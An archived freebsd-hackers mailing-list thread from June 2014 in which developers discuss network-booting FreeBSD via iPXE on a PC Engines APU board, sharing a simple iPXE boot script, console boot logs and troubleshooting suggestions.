thanks, danny PS: I left the original ip=92s - hopefully the firewall is working ok = :-) From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 08:33:01 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 415BE74A for ; Fri, 13 Jun 2014 08:33:01 +0000 (UTC) Received: from kabab.cs.huji.ac.il (kabab.cs.huji.ac.il [132.65.116.12]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id E6C622048 for ; Fri, 13 Jun 2014 08:33:00 +0000 (UTC) Received: from th-04.cs.huji.ac.il ([132.65.80.125]) by kabab.cs.huji.ac.il with esmtp id 1WvMuv-0001c9-1k; Fri, 13 Jun 2014 11:32:57 +0300 Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: iPXE booting latest PCengines alu board From: Daniel Braniss In-Reply-To: Date: Fri, 13 Jun 2014 11:32:44 +0300 Content-Transfer-Encoding: quoted-printable Message-Id: <17B3B28C-A9D7-4FD2-ACEB-CFE4738C4D49@cs.huji.ac.il> References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> To: Kamil Czekirda X-Mailer: Apple Mail (2.1878.2) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 08:33:01 -0000 Hi Kamil, Nice work! though I=92m not that ambitious. I need to be able to load pxeboot and that seems to need some magic. BTW, do you know where there is=20 some good docs on iPXE? thanks, danny On Jun 13, 2014, at 12:38 AM, Kamil Czekirda = wrote: > Hi, >=20 > Please look at my GSoC wiki page: > https://wiki.freebsd.org/SummerOfCode2014/FreeBSD_PXE_preseed >=20 > There is kpxe file, you can chainload it using file option in your = dhcp server. >=20 > It's very simple script: >=20 > #!ipxe > dhcp > cpuid --ext 29 && set CPU-ARCH amd64 || set CPU-ARCH i386 > set img = http://mfsbsd.vx.sk/files/images/10/${CPU-ARCH}/mfsbsd-10.0-RELEASE-${CPU-= ARCH}.img > kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk raw > initrd ${img} > boot >=20 > It detects architecture and runs mfsbsd directly from Martin Matuska = website. >=20 > It's simpliest way to boot different iso or img image of FreeBSD. It > will be nice to have local mirror and make menu with different > releases. I'll prepare menu, but I need few days, I'll inform you. >=20 > I think that in next week will be ready iPXE port for FreeBSD and > simply solutions. >=20 > I have many scripts to boot ubuntu, debian, etc. and I can help you > with it. It's simple to run FreeBSD from nfs server too. Ask if you > have problems. >=20 > Kamil >=20 > 2014-06-12 17:26 GMT+02:00 Mike Tancsa : >> On 6/12/2014 10:38 AM, Daniel Braniss wrote: >>>=20 >>> Hi all, >>> while I try to learn about iPXE, I am wondering if someone already >>> managed to boot FreeBSD via the network, else it=92s going to be an >>> interesting weekend :-) >>=20 >>=20 >> If you mean http://www.pcengines.ch/apu.htm, just make sure you are = booting >> a relatively recent FreeBSD version (newer than April I think). = Otherwise, >> it boots just fine like any other bit of hardware over the network. >>=20 >> ---Mike >>=20 >>=20 >> -- >> ------------------- >> Mike Tancsa, tel +1 519 651 3400 >> Sentex Communications, mike@sentex.net >> Providing Internet services since 1994 www.sentex.net >> Cambridge, Ontario Canada http://www.tancsa.com/ >>=20 >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 09:44:04 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 37F2D3F4 for ; Fri, 13 Jun 2014 09:44:04 +0000 (UTC) Received: from mail-we0-x22e.google.com (mail-we0-x22e.google.com [IPv6:2a00:1450:400c:c03::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id C4D252665 for ; Fri, 13 Jun 2014 09:44:03 +0000 (UTC) Received: by mail-we0-f174.google.com with SMTP id u57so2549116wes.33 for ; Fri, 13 Jun 2014 02:44:01 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=XFVqUBpwr/EvP5sN+fNKrlsfol/vF3sK4m9W8aGg+nQ=; b=WB5MIws8mgNjnJDV/rGYXfnSYgf/nRldfy+wifmCoYBfU6A70k6Xjg740KKtaLVZwV MLMCGVCwE5eS9RnunsfYHywEsrqalYC8ScIUlSoJz3/Lf1g8GjzuAwSlHM2WAjtvJ4+5 aVPu2iARXG1OVtE9GmdZoie1js/Dt3Jd9wEY20jkqZ+WIqLSsPDzCu+7Rx3AyuoO0wVf /5os0G7nEOWtmll/rOoJrta1TfGZ5R0qkOmOd13SKr+6Pw3OYTdiYFtsV8FTZXIKyfkL 4SbOG+yIXWeUCW2tcAZcAZmPczBIs1Mw4OiCEGoDmB6SgObHXeUWm4YLRSbL7+nrmpkc Vx4g== MIME-Version: 1.0 X-Received: by 10.194.57.208 with SMTP id k16mr2502334wjq.51.1402652641061; Fri, 13 Jun 2014 02:44:01 -0700 (PDT) Received: by 10.194.60.140 with HTTP; Fri, 13 Jun 2014 02:44:01 -0700 (PDT) In-Reply-To: <17B3B28C-A9D7-4FD2-ACEB-CFE4738C4D49@cs.huji.ac.il> References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> <17B3B28C-A9D7-4FD2-ACEB-CFE4738C4D49@cs.huji.ac.il> Date: Fri, 13 Jun 2014 11:44:01 +0200 Message-ID: Subject: Re: iPXE booting latest PCengines alu board From: Kamil Czekirda To: Daniel Braniss Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 09:44:04 -0000 I suggest official documentation: http://ipxe.org/docs There is many good solutions for iPXE, but I havn't seen good for FreeBSD. It will my work this summer. 2014-06-13 10:32 GMT+02:00 Daniel Braniss : > Hi Kamil, > Nice work! though I=E2=80=99m not that ambitious. > I need to be able to load pxeboot and that seems to > need some magic. BTW, do you know where there is > some good docs on iPXE? > > thanks, > danny > > > On Jun 13, 2014, at 12:38 AM, Kamil Czekirda wrote: > >> Hi, >> >> Please look at my GSoC wiki page: >> https://wiki.freebsd.org/SummerOfCode2014/FreeBSD_PXE_preseed >> >> There is kpxe file, you can chainload it using file option in your dhcp = server. >> >> It's very simple script: >> >> #!ipxe >> dhcp >> cpuid --ext 29 && set CPU-ARCH amd64 || set CPU-ARCH i386 >> set img http://mfsbsd.vx.sk/files/images/10/${CPU-ARCH}/mfsbsd-10.0-RELE= ASE-${CPU-ARCH}.img >> kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk raw >> initrd ${img} >> boot >> >> It detects architecture and runs mfsbsd directly from Martin Matuska web= site. >> >> It's simpliest way to boot different iso or img image of FreeBSD. It >> will be nice to have local mirror and make menu with different >> releases. I'll prepare menu, but I need few days, I'll inform you. >> >> I think that in next week will be ready iPXE port for FreeBSD and >> simply solutions. >> >> I have many scripts to boot ubuntu, debian, etc. and I can help you >> with it. It's simple to run FreeBSD from nfs server too. Ask if you >> have problems. >> >> Kamil >> >> 2014-06-12 17:26 GMT+02:00 Mike Tancsa : >>> On 6/12/2014 10:38 AM, Daniel Braniss wrote: >>>> >>>> Hi all, >>>> while I try to learn about iPXE, I am wondering if someone already >>>> managed to boot FreeBSD via the network, else it=E2=80=99s going to be= an >>>> interesting weekend :-) >>> >>> >>> If you mean http://www.pcengines.ch/apu.htm, just make sure you are boo= ting >>> a relatively recent FreeBSD version (newer than April I think). Otherwi= se, >>> it boots just fine like any other bit of hardware over the network. >>> >>> ---Mike >>> >>> >>> -- >>> ------------------- >>> Mike Tancsa, tel +1 519 651 3400 >>> Sentex Communications, mike@sentex.net >>> Providing Internet services since 1994 www.sentex.net >>> Cambridge, Ontario Canada http://www.tancsa.com/ >>> >>> _______________________________________________ >>> freebsd-hackers@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.o= rg" > From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 09:51:26 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7236565B for ; Fri, 13 Jun 2014 09:51:26 +0000 (UTC) Received: from mail-oa0-f51.google.com (mail-oa0-f51.google.com [209.85.219.51]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 33AAB2731 for ; Fri, 13 Jun 2014 09:51:25 +0000 (UTC) Received: by mail-oa0-f51.google.com with SMTP id j17so2596459oag.10 for ; Fri, 13 Jun 2014 02:51:19 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=KCtVrQo124p4rxMqvVBdEBSjCodCSZ96T9Y/iw4cc8I=; b=Ax1ZiwiYJjejtXnDmZByLth36BsJ5iWk3DO5AMF7l1nZHy/ANlldcgTs3k8RQWu8lm KBvS4P5/nG74ckNCJVlIV7gMhq20sSudRYqSsJrkbMYHbfJUI6119+VtGqoGr09DVzB/ rf4kCsDaJD5hwKJPnPlPlg31IadCNZhgM1ik8brcLpzXeCOPvNwTHMdit4AhI7iTxN6V QQoMih6Ie98wjvqNZLwP4mKW2YdWumMBmqRSXrwpN6ZM9aKGxxlrb0uPB3qy4bgU3Ke2 Ea7ud6IkQ+KD/yh5iB1aIYQC/upxiX7nVZEjfqNonZC0RJjsb8DoPMPwPy2WSZsD1RNu uwOw== X-Gm-Message-State: ALoCoQldqzx9U4bvALepC/vZ+dbhawshEOADIS8j6d6FZUWVoFMhMltXhm0sXE/yrVjASJnyOD2j X-Received: by 10.60.51.136 with SMTP id k8mr1469334oeo.33.1402652712105; Fri, 13 Jun 2014 02:45:12 -0700 (PDT) Received: from [172.21.0.93] (65-111-100-227.static.grandenetworks.net. [65.111.100.227]) by mx.google.com with ESMTPSA id os10sm7207199obc.13.2014.06.13.02.45.06 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 13 Jun 2014 02:45:06 -0700 (PDT) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 8.0 \(1955.2\)) Subject: Re: iPXE booting latest PCengines alu board From: Jim Thompson In-Reply-To: <17B3B28C-A9D7-4FD2-ACEB-CFE4738C4D49@cs.huji.ac.il> Date: Fri, 13 Jun 2014 04:45:05 -0500 Content-Transfer-Encoding: quoted-printable Message-Id: <71ECD01F-5DC0-45D2-8C84-AA6C3D9903CA@netgate.com> References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> <17B3B28C-A9D7-4FD2-ACEB-CFE4738C4D49@cs.huji.ac.il> To: Daniel Braniss X-Mailer: Apple Mail (2.1955.2) Cc: Kamil Czekirda , hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 09:51:26 -0000 Doesn=92t get very far... PC Engines APU BIOS build date: Apr 5 2014 Reading data from file [bootorder] SeaBIOS (version ?-20140405_120742-frink) SeaBIOS (version ?-20140405_120742-frink) Found coreboot cbmem console @ 7e150400 Found mainboard PC Engines APU Relocating init from 0x000e8e71 to 0x7e1065e0 (size 39259) Found CBFS header at 0xfffffb90 found file "bootorder" in cbmem CPU Mhz=3D1001 Found 27 PCI devices (max PCI bus is 05) Copying PIR from 0x7e160400 to 0x000f27a0 Copying MPTABLE from 0x7e161400/7e161410 to 0x000f25b0 with length 1ec Copying ACPI RSDP from 0x7e162400 to 0x000f2590 Copying SMBIOS entry point from 0x7e16d800 to 0x000f2570 Using pmtimer, ioport 0x808 Scan for VGA option rom EHCI init on dev 00:12.2 (regs=3D0xf7f08420) Found 1 lpt ports Found 2 serial ports AHCI controller at 11.0, iobase f7f08000, irq 11 EHCI init on dev 00:13.2 (regs=3D0xf7f08520) EHCI init on dev 00:16.2 (regs=3D0xf7f08620) Searching bootorder for: /rom@img/setup Searching bootorder for: /rom@img/memtest OHCI init on dev 00:12.0 (regs=3D0xf7f04000) OHCI init on dev 00:13.0 (regs=3D0xf7f05000) OHCI init on dev 00:14.5 (regs=3D0xf7f06000) OHCI init on dev 00:16.0 (regs=3D0xf7f07000) Searching bootorder for: /pci@i0cf8/usb@12,2/storage@1/*@0/*@0,0 Searching bootorder for: /pci@i0cf8/usb@12,2/usb-*@1 Searching bootorder for: /pci@i0cf8/usb@16,2/storage@1/*@0/*@0,0 Searching bootorder for: /pci@i0cf8/usb@16,2/usb-*@1 USB MSC vendor=3D'Multiple' product=3D'Card Reader' rev=3D'1.00' type=3D0= removable=3D1 USB MSC blksize=3D512 sectors=3D15564800 USB MSC vendor=3D'PNY' product=3D'USB 2.0 FD' rev=3D'1100' type=3D0 = removable=3D1 USB MSC blksize=3D512 sectors=3D15810560 All threads complete. Scan for option roms Running option rom at c000:0003 iPXE (http://ipxe.org) 00:00.0 C000 PCI2.10 PnP PMMpmm call arg1=3D1 pmm call arg1=3D0 +7E0DA5C0pmm call arg1=3D1 pmm call arg1=3D0 +7E03A5C0 C000 = =20 iPXE (PCI 00:00.0) starting execution...ok iPXE initialising devices...ok iPXE 1.0.0+ -- Open Source Network Boot Firmware -- http://ipxe.org Features: HTTP iSCSI DNS TFTP AoE bzImage ELF MBOOT PXE PXEXT Menu iPXE> dhcp =20 Waiting for link-up on net0................. Down = (http://ipxe.org/38086101) Waiting for link-up on net1................. Down = (http://ipxe.org/38086101) iPXE> dhcp Configuring (net0 00:0d:b9:33:88:64)...... ok iPXE> kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk raw http://volt.iem.pw.edu.pl/~czekirdk/memdisk... ok=20 iPXE> initrd = http://mfsbsd.vx.sk/files/images/10/amd64/mfsbsd-10.0-RELEASE-amd64.img = http://mfsbsd.vx.sk/files/images/10/amd64/mfsbsd-10.0-RELEASE-amd64.img...= ok=20 iPXE> boot MEMDISK 6.02 2013-10-13 Copyright 2001-2013 H. Peter Anvin et al e820: 0000000000000000 000000000009fc00 1 e820: 000000000009fc00 0000000000000400 2 e820: 00000000000f0000 0000000000010000 2 e820: 0000000000100000 000000007e010000 1 e820: 000000007e110000 0000000000ef0000 2 e820: 00000000f8000000 0000000001000000 2 Ramdisk at 0x01700000, length 0x02900000 command line: raw MEMDISK: Image seems to have fractional end cylinder Disk is hd0, 41984 K, C/H/S =3D 5/255/63 (MBR/MBR), EDD on, rw Using raw access to high memory Code 1744, meminfo 168, cmdline 4, stack 512 Total size needed =3D 2428 bytes, allocating 3K Old dos memory at 0x9c400 (map says 0x9fc00), loading at 0x9b800 1588: 0x5800 15E801: 0x3c00 0x0070 INT 13 08: Failure, assuming this is the only drive Drive probing gives drive shift limit: 0x81 old: int13 =3D f000e3fe int15 =3D f000f859 int1e =3D f0007244 new: int13 =3D 9b80000a int15 =3D 9b8003ba int1e =3D f0007244 Loading boot sector... booting=85 \ <=97 hangs here Note that not even the demo works: iPXE (PCI 00:00.0) starting execution...ok iPXE initialising devices...ok iPXE 1.0.0+ -- Open Source Network Boot Firmware -- http://ipxe.org Features: HTTP iSCSI DNS TFTP AoE bzImage ELF MBOOT PXE PXEXT Menu iPXE> chain http://boot.ipxe.org/demo/boot.php http://boot.ipxe.org/demo/boot.php... Error 0x3e11623b = (http://ipxe.org/3e11623b) iPXE> dhcp Configuring (net0 00:0d:b9:33:88:64)...... ok iPXE> route net0: 172.21.0.89/255.255.255.0 gw 172.21.0.1 iPXE> show dns net0.dhcp/dns:ipv4 =3D 172.21.0.1 iPXE> chain http://boot.ipxe.org/demo/boot.php http://boot.ipxe.org/demo/boot.php... ok vmlinuz-2.6.17-14mdv... ok=20 initrd.img... ok=20 It=92s possible that the console isn=92t being properly set, of course. It=92s also possible that 10-RELEASE isn=92t new enough for the APU. For Daniel http://dox.ipxe.org/index.html http://ipxe.org > On Jun 13, 2014, at 3:32 AM, Daniel Braniss = wrote: >=20 > Hi Kamil, > Nice work! though I=92m not that ambitious. > I need to be able to load pxeboot and that seems to > need some magic. BTW, do you know where there is=20 > some good docs on iPXE? >=20 > thanks, > danny >=20 >=20 > On Jun 13, 2014, at 12:38 AM, Kamil Czekirda = wrote: >=20 >> Hi, >>=20 >> Please look at my GSoC wiki page: >> https://wiki.freebsd.org/SummerOfCode2014/FreeBSD_PXE_preseed >>=20 >> There is kpxe file, you can chainload it using file option in your = dhcp server. >>=20 >> It's very simple script: >>=20 >> #!ipxe >> dhcp >> cpuid --ext 29 && set CPU-ARCH amd64 || set CPU-ARCH i386 >> set img = http://mfsbsd.vx.sk/files/images/10/${CPU-ARCH}/mfsbsd-10.0-RELEASE-${CPU-= ARCH}.img >> kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk raw >> initrd ${img} >> boot >>=20 >> It detects architecture and runs mfsbsd directly from Martin Matuska = website. >>=20 >> It's simpliest way to boot different iso or img image of FreeBSD. It >> will be nice to have local mirror and make menu with different >> releases. I'll prepare menu, but I need few days, I'll inform you. >>=20 >> I think that in next week will be ready iPXE port for FreeBSD and >> simply solutions. >>=20 >> I have many scripts to boot ubuntu, debian, etc. and I can help you >> with it. It's simple to run FreeBSD from nfs server too. Ask if you >> have problems. >>=20 >> Kamil >>=20 >> 2014-06-12 17:26 GMT+02:00 Mike Tancsa : >>> On 6/12/2014 10:38 AM, Daniel Braniss wrote: >>>>=20 >>>> Hi all, >>>> while I try to learn about iPXE, I am wondering if someone already >>>> managed to boot FreeBSD via the network, else it=92s going to be an >>>> interesting weekend :-) >>>=20 >>>=20 >>> If you mean http://www.pcengines.ch/apu.htm, just make sure you are = booting >>> a relatively recent FreeBSD version (newer than April I think). = Otherwise, >>> it boots just fine like any other bit of hardware over the network. >>>=20 >>> ---Mike >>>=20 >>>=20 >>> -- >>> ------------------- >>> Mike Tancsa, tel +1 519 651 3400 >>> Sentex Communications, mike@sentex.net >>> Providing Internet services since 1994 www.sentex.net >>> Cambridge, Ontario Canada http://www.tancsa.com/ >>>=20 >>> _______________________________________________ >>> freebsd-hackers@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>> To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" >=20 > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 09:52:30 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4CD1873F for ; Fri, 13 Jun 2014 09:52:30 +0000 (UTC) Received: from mail-we0-x229.google.com (mail-we0-x229.google.com [IPv6:2a00:1450:400c:c03::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id CEC40273B for ; Fri, 13 Jun 2014 09:52:29 +0000 (UTC) Received: by mail-we0-f169.google.com with SMTP id t60so2579027wes.0 for ; Fri, 13 Jun 2014 02:52:28 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=rzqhhfOcI1pbVw55JePB3In9QwLwalBXIHVgDp4QSw4=; b=rpLECNlOaeMgD/HIdUz5m5UM/RJmVT/agKdjfz4vFx0fPAaHF7LSLfGnz7TFRL+4Sc EuZL43vWJfQMBe4FZR5IgUymUDrulhQYmEBTc/4ZYmk/wNWmJpa/MFx7raLjotY9ADSP ucZ6zGmbO+cxezXVN7FYCJEvFP841n2i7T3kdYNPOq2pj9BlNRPBQHPyYE5ENOhxy2o/ mOulsXUoeHa8uoEkPfqq94TGAbcibOTPm6cvgnYu1Qj+QbFbSEVCKXWJ3ptj/TuMTozO Ce6S7h7mO24QRXR3S020SE26u0j5/8691EQwIe+tmxbl6fYHvep+ZgNDxWJmzPX6EKxd H99w== MIME-Version: 1.0 X-Received: by 10.180.99.71 with SMTP id eo7mr2559178wib.49.1402653147862; Fri, 13 Jun 2014 02:52:27 -0700 (PDT) Received: by 10.194.60.140 with HTTP; Fri, 13 Jun 2014 02:52:27 -0700 (PDT) In-Reply-To: <71ECD01F-5DC0-45D2-8C84-AA6C3D9903CA@netgate.com> References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> <17B3B28C-A9D7-4FD2-ACEB-CFE4738C4D49@cs.huji.ac.il> <71ECD01F-5DC0-45D2-8C84-AA6C3D9903CA@netgate.com> Date: Fri, 13 Jun 2014 11:52:27 +0200 Message-ID: Subject: Re: iPXE booting latest PCengines alu board From: Kamil Czekirda To: Jim Thompson Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 09:52:30 -0000 Please try mfsbsd based on current (r266655): http://svnweb.freebsd.org/socsvn/soc2014/kczekirda/pxe-fai-head/tools/mfsbs= d-11.0-CURRENT-r266655-amd64.iso?view=3Dco example: iPXE> dhcp iPXE> kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk iso iPXE> http://svnweb.freebsd.org/socsvn/soc2014/kczekirda/pxe-fai-head/tools= /mfsbsd-11.0-CURRENT-r266655-amd64.iso?view=3Dco Be careful, in second line I changed raw to iso. Regards, Kamil 2014-06-13 11:45 GMT+02:00 Jim Thompson : > Doesn=E2=80=99t get very far... > > PC Engines APU BIOS build date: Apr 5 2014 > Reading data from file [bootorder] > SeaBIOS (version ?-20140405_120742-frink) > SeaBIOS (version ?-20140405_120742-frink) > Found coreboot cbmem console @ 7e150400 > Found mainboard PC Engines APU > Relocating init from 0x000e8e71 to 0x7e1065e0 (size 39259) > Found CBFS header at 0xfffffb90 > found file "bootorder" in cbmem > CPU Mhz=3D1001 > Found 27 PCI devices (max PCI bus is 05) > Copying PIR from 0x7e160400 to 0x000f27a0 > Copying MPTABLE from 0x7e161400/7e161410 to 0x000f25b0 with length 1ec > Copying ACPI RSDP from 0x7e162400 to 0x000f2590 > Copying SMBIOS entry point from 0x7e16d800 to 0x000f2570 > Using pmtimer, ioport 0x808 > Scan for VGA option rom > EHCI init on dev 00:12.2 (regs=3D0xf7f08420) > Found 1 lpt ports > Found 2 serial ports > AHCI controller at 11.0, iobase f7f08000, irq 11 > EHCI init on dev 00:13.2 (regs=3D0xf7f08520) > EHCI init on dev 00:16.2 (regs=3D0xf7f08620) > Searching bootorder for: /rom@img/setup > Searching bootorder for: /rom@img/memtest > OHCI init on dev 00:12.0 (regs=3D0xf7f04000) > OHCI init on dev 00:13.0 (regs=3D0xf7f05000) > OHCI init on dev 00:14.5 (regs=3D0xf7f06000) > OHCI init on dev 00:16.0 (regs=3D0xf7f07000) > Searching bootorder for: /pci@i0cf8/usb@12,2/storage@1/*@0/*@0,0 > Searching bootorder for: /pci@i0cf8/usb@12,2/usb-*@1 > Searching bootorder for: /pci@i0cf8/usb@16,2/storage@1/*@0/*@0,0 > Searching bootorder for: /pci@i0cf8/usb@16,2/usb-*@1 > USB MSC vendor=3D'Multiple' product=3D'Card Reader' rev=3D'1.00' type=3D= 0 removable=3D1 > USB MSC blksize=3D512 sectors=3D15564800 > USB MSC vendor=3D'PNY' product=3D'USB 2.0 FD' rev=3D'1100' type=3D0 remov= able=3D1 > USB MSC blksize=3D512 sectors=3D15810560 > All threads complete. > Scan for option roms > Running option rom at c000:0003 > > > iPXE (http://ipxe.org) 00:00.0 C000 PCI2.10 PnP PMMpmm call arg1=3D1 > pmm call arg1=3D0 > +7E0DA5C0pmm call arg1=3D1 > pmm call arg1=3D0 > +7E03A5C0 C000 > > > iPXE (PCI 00:00.0) starting execution...ok > iPXE initialising devices...ok > > > > iPXE 1.0.0+ -- Open Source Network Boot Firmware -- http://ipxe.org > Features: HTTP iSCSI DNS TFTP AoE bzImage ELF MBOOT PXE PXEXT Menu > > iPXE> dhcp > Waiting for link-up on net0................. Down (http://ipxe.org/380861= 01) > Waiting for link-up on net1................. Down (http://ipxe.org/380861= 01) > iPXE> dhcp > Configuring (net0 00:0d:b9:33:88:64)...... ok > iPXE> kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk raw > http://volt.iem.pw.edu.pl/~czekirdk/memdisk... ok > iPXE> initrd http://mfsbsd.vx.sk/files/images/10/amd64/mfsbsd-10.0-RELEAS= E-amd64.img > http://mfsbsd.vx.sk/files/images/10/amd64/mfsbsd-10.0-RELEASE-amd64.img..= . ok > iPXE> boot > MEMDISK 6.02 2013-10-13 Copyright 2001-2013 H. Peter Anvin et al > e820: 0000000000000000 000000000009fc00 1 > e820: 000000000009fc00 0000000000000400 2 > e820: 00000000000f0000 0000000000010000 2 > e820: 0000000000100000 000000007e010000 1 > e820: 000000007e110000 0000000000ef0000 2 > e820: 00000000f8000000 0000000001000000 2 > Ramdisk at 0x01700000, length 0x02900000 > command line: raw > MEMDISK: Image seems to have fractional end cylinder > Disk is hd0, 41984 K, C/H/S =3D 5/255/63 (MBR/MBR), EDD on, rw > Using raw access to high memory > Code 1744, meminfo 168, cmdline 4, stack 512 > Total size needed =3D 2428 bytes, allocating 3K > Old dos memory at 0x9c400 (map says 0x9fc00), loading at 0x9b800 > 1588: 0x5800 15E801: 0x3c00 0x0070 > INT 13 08: Failure, assuming this is the only drive > Drive probing gives drive shift limit: 0x81 > old: int13 =3D f000e3fe int15 =3D f000f859 int1e =3D f0007244 > new: int13 =3D 9b80000a int15 =3D 9b8003ba int1e =3D f0007244 > Loading boot sector... booting=E2=80=A6 > \ <=E2=80=94 hangs here > > Note that not even the demo works: > > > iPXE (PCI 00:00.0) starting execution...ok > iPXE initialising devices...ok > > > > iPXE 1.0.0+ -- Open Source Network Boot Firmware -- http://ipxe.org > Features: HTTP iSCSI DNS TFTP AoE bzImage ELF MBOOT PXE PXEXT Menu > > iPXE> chain http://boot.ipxe.org/demo/boot.php > http://boot.ipxe.org/demo/boot.php... Error 0x3e11623b (http://ipxe.org/3= e11623b) > iPXE> dhcp > Configuring (net0 00:0d:b9:33:88:64)...... ok > iPXE> route > net0: 172.21.0.89/255.255.255.0 gw 172.21.0.1 > iPXE> show dns > net0.dhcp/dns:ipv4 =3D 172.21.0.1 > iPXE> chain http://boot.ipxe.org/demo/boot.php > http://boot.ipxe.org/demo/boot.php... ok > vmlinuz-2.6.17-14mdv... ok > initrd.img... ok > > > It=E2=80=99s possible that the console isn=E2=80=99t being properly set, = of course. > It=E2=80=99s also possible that 10-RELEASE isn=E2=80=99t new enough for t= he APU. > > For Daniel > http://dox.ipxe.org/index.html > http://ipxe.org > > > >> On Jun 13, 2014, at 3:32 AM, Daniel Braniss wrote: >> >> Hi Kamil, >> Nice work! though I=E2=80=99m not that ambitious. >> I need to be able to load pxeboot and that seems to >> need some magic. BTW, do you know where there is >> some good docs on iPXE? >> >> thanks, >> danny >> >> >> On Jun 13, 2014, at 12:38 AM, Kamil Czekirda wrote= : >> >>> Hi, >>> >>> Please look at my GSoC wiki page: >>> https://wiki.freebsd.org/SummerOfCode2014/FreeBSD_PXE_preseed >>> >>> There is kpxe file, you can chainload it using file option in your dhcp= server. >>> >>> It's very simple script: >>> >>> #!ipxe >>> dhcp >>> cpuid --ext 29 && set CPU-ARCH amd64 || set CPU-ARCH i386 >>> set img 